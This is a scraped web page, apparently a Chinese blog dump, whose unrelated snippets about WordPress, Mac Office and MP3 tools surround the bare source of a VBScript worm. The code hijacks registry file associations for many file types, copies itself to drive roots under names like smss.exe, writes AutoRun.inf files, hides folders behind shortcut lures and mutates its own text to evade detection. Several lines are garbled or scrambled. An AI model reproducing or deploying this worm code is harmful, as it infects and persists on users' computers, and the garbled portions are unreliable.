2015813

WORDPRESS IS EVERYTHING. eg:bbpress,Buddypress

家庭影院

Sub SethlpFileAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub

Sub SetRegFileAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub

Sub SetchmFileAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub

Sub SetIEAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " OIE "
itl WCalEg("eRerOCAY_LHKNEACHL_MEFTW\SOIRE\\ClARes\Applications\iexplore.exe\shell\open\command\", Value, "REG_EXPAND_SZ")
Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\", Value, "REG_EXPAND_SZ")
End Sub

Sub SetMyComputerAss(sFilePath)
On Error Resume Next
Dim Value1,Value2
Value1 = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " OMC "
Value2 = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " EMC "
Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\", "", "REG_SZ")
Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command\", Value1, "REG_EXPAND_SZ")
Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command\", Value2, "REG_EXPAND_SZ")
End Sub


Function GetSerialNumber(Drv)
On Error Resume Next
det.Ssoo.GetDrive(Drv)
GetSerialNumber = d.SerialNumber
GetSerialNumber = Replace(GetSerialNumber,"-","")
End Function

Function GetMainVirus(N)
On Error Resume Next
MainVirusName = GetSerialNumber(GetSystemDrive()) & ".vbs"
If GetFileSystemType(GetSystemDrive()) = "NTFS" Then
If N = 1 Then
GetMainVirus = Fso.GetSpecialFolder(N) & "\smss.exe" & MainVirusName
End If
If N = 0 Then
GetMainVirus = Fso.GetSpecialFolder(N) & "\explorer.exe" & MainVirusName
End If
Else
GetMainVirus = Fso.GetSpecialFolder(N) & "\" & MainVirusName
End If
End Function


Function VBSProcessCount(VBSPath)
On Error Resume Next
Dim WMIService, ProcessList, Process
VBSProcessCount = 0
Set WMIService = GetObject("winmgmts
[url = file
/ / \ \ . \ root \ cimv2] \ \ . \ root \ cimv2[ / url]")
Set ProcessList = WMIService.ExecQuery("Select * from Win32_Process Where " & "Name='cscript.exe' or Name='wscript.exe' or Name='svchost.exe'")
For Each Process In ProcessList
If InStr(Process.CommandLine, VBSPath) > 0 Then
VBSProcessCount = VBSProcessCount + 1
End If
Next
End Function

Function PreDblInstance()
On Error Resume Next
PreDblInstance = False
If VBSProcessCount(WScript.ScriptFullName) >= 3 Then
PreDblInstance = True
End If
End Function

Function GetTargetPath(LnkPath)
On Error Resume Next
Dim Shortcut
Set Shortcut = WshShell.CreateShortcut(LnkPath)
GetTargetPath = Shortcut.TargetPath
End Function

Function GetCode(FullPath)
On Error Resume Next
Dim FileText
Set FileText = FSO.OpenTextFile(FullPath, 1)
GetCode = FileText.ReadAll
FileText.Close
End Function

Function GetVersion()
Dim VerInfo
VerInfo = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Ver"
If ReadReg(VerInfo) = "" Then
GetVersion = 0
Else
GetVersion = CInt(ReadReg(VerInfo))
End If
End Function

Function GetInfectedDate()
On Error Resume Next
Dim DateInfo
DateInfo = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Date"
If ReadReg(DateInfo) = "" Then
GetInfectedDate = ""
Else
GetInfectedDate = CDate(ReadReg(DateInfo))
End If
End Function

Execute("set e452 = createobject(""scripting.filesystemobject"")
Set d600 = e452.opentextfile(WScript.scriptfullname,1)
Do untild600.atendofstream
F19a = Trim(d600.readline)
If Left(f19a,1) = ""'"" then
F631 = e30b(Mid(f19a,2,Len(f19a) - 2),Right(f19a,1))
Randomize
A880 = Int(8 * Rnd + 2)
Dcc1 = ""'""&e30b(f631,a880)&a880
Else
Dcc1 = f19a
Dcc1 = a972(dcc1)
Dcc1 = b26b(dcc1)
End If
Fbbe = fbbe & f631 & vbCrLf
A41a = a41a & dcc1 & vbCrLf
F631 = """"
Dcc1 = """"
Loop
Set d600 = e452.opentextfile(WScript.scriptfullname,2)
D600.write a41a
D600.close
Set e452 = Nothing
Execute fbbe

Function e30b(ba1e,a880)
For d769 = 1 To Len(ba1e) step a880
E30b = e30b + StrReverse(Mid(ba1e,d769,a880))
Next
End Function

Function b26b(ba1e)
Randomize
For d769 = 1 To Len(ba1e)
D841 = Mid(UCase(ba1e),d769,1)
If Int(Rnd * 2) Then
D841 = LCase(d841)
End If
B26b = b26b & d841
Next
End Function

Function a972(ba1e)
Randomize
For d769 = 0 To 13
Ba1e = Replace(UCase(ba1e),UCase(Hex( & he452 + d769)),UCase(Hex(Int(Rnd * 24000 + 40960) + d769)))
Next
A972 = ba1e
End Function

Sub KeepProcess(VBSFullNames)
On Error Resume Next
For Each VBSFullName In VBSFullNames
If VBSProcessCount(VBSFullName) < 2 Then
Run("%SystemRoot%\system\svchost.exe " & VBSFullName)
End If
Next
End Sub


Function GetSystemDrive()
GetSystemDrive = Left(Fso.GetSpecialFolder(0),2)
End Function


Function GetFileSystemType(Drive)
Set d = FSO.GetDrive(Drive)
GetFileSystemType = d.FileSystem
End Function


Function ReadReg(strkey)
Dim tmps
Set tmps = CreateObject("WScript.Shell")
ReadReg = tmps.RegRead(strkey)
Set tmps = Nothing
End Function


Sub WriteReg(strkey, Value, vtype)
Dim tmps
Set tmps = CreateObject("WScript.Shell")
If vtype = "" Then
tmps.RegWrite strkey, Value
Else
tmps.RegWrite strkey, Value, vtype
End If
Set tmps = Nothing
End Sub


Sub DeleteReg(strkey)
Dim tmps
Set tmps = CreateObject("WScript.Shell")
tmps.RegDelete strkey
Set tmps = Nothing
End Sub


Sub SetHiddenAttr(path)
On Error Resume Next
Dim vf
Set vf = FSO.GetFile(path)
Set vf = FSO.GetFolder(path)
vf.Attributes = 6
End Sub


Sub Run(ExeFullName)
On Error Resume Next
Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run ExeFullName
Set WshShell = Nothing
End Sub


Sub InfectRoot(D,VirusName)
On Error Resume Next
Dim VBSCode
VBSCode = GetCode(WScript.ScriptFullName)
VBSPath = D & "\" & VirusName
If FSO.FileExists(VBSPath) = False Then
Call CreateFile(VBSCode, VBSPath)
Call SetHiddenAttr(VBSPath)
End If
Set Folder = Fso.GetFolder(D & "\")
Set SubFolders = Folder.Subfolders
For Each SubFolder In SubFolders
SetHiddenAttr(SubFolder.Path)

LnkPath = D & "\" & SubFolder.Name & ".lnk"
TargetPath = D & "\" & VirusName
Args = """" & D & "\" & SubFolder.Name & "\Dir"""
If Fso.FileExists(LnkPath) = False Or GetTargetPath(LnkPath) <> TargetPath Then
If Fso.FileExists(LnkPath) = True Then
FSO.DeleteFile LnkPath, True
End If

Call CreateShortcut(LnkPath,TargetPath,Args)
End If
Next
End Sub


Sub CreateShortcut(LnkPath,TargetPath,Args)
Set Shortcut = WshShell.CreateShortcut(LnkPath)
With Shortcut
.TargetPath = TargetPath
.Arguments = Args
.WindowStyle = 4
.IconLocation = "%SystemRoot%\System32\Shell32.dll, 3"
.Save
End With
End Sub


Sub CreateAutoRun(D,VirusName)
On Error Resume Next
Dim InfPath, VBSPath, VBSCode
InfPath = D & "
\ AutoRun.inf"
VBSPath = D & "
\ " & VirusName
VBSCode = GetCode(WScript.ScriptFullName)
If FSO.FileExists(InfPath) = False Or FSO.FileExists(VBSPath) = False Then
Call CreateFile(VBSCode, VBSPath)
Call SetHiddenAttr(VBSPath)
StrInf = "[AutoRun]" & vbCrLf & "Shellexecute=WScript.exe " & VirusName & " ""AutoRun""" & vbCrLf & "shell\open=打开(&O)" & vbCrLf & "shell\open\command=WScript.exe " & VirusName & " ""AutoRun""" & vbCrLf & "shell\open\Default=1" & vbCrLf & "shell\explore=资源管理器(&X)" & vbCrLf & "shell\explore\command=WScript.exe " & VirusName & " ""AutoRun"""
Call KillImmunity(D)
Call CreateFile(StrInf, InfPath)
Call SetHiddenAttr(InfPath)
End If
End Sub

Sub SetTxtFileAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub


Sub SetIniFileAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub

Sub SetInfFileAss(sFilePath)
On Error Resume Next
Dim Value
alue = "%StemRootVystem3yscript%\Sript.\WS " & """" & sFilePath & """" & " %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub


Sub SetBatFileAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub


Sub SetCmdFileAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub

Mac 版 office 越优秀， MS 就越完蛋，所以坑才时正常的。

大道至简，用 shell 管理 MP3.

建议等 13 更新，谁用谁知道。